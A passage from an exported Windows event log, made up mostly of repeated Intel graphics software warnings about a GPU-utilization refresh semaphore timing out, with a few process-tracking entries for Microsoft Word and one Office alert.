08:54:53.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:54.925\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:55.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:55.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:57.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:57.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:58.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:58.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:59.488\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:59.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.266\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.595\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:03.067\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 08:55:03.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.695\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.253\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.585\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.590\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.479\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.481\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:09.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:09.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:10.374\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:10.597\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:11.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.824\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.048\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.827\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:15.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.163\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:17.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:17.832\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:19.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:21.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.927\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.712\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.272\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.497\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:30.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:30.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:32.838\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:33.613\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:33.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:34.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:34.731\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:36.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.610\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:39.277\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:39.722\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.060\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:43.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:43.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList 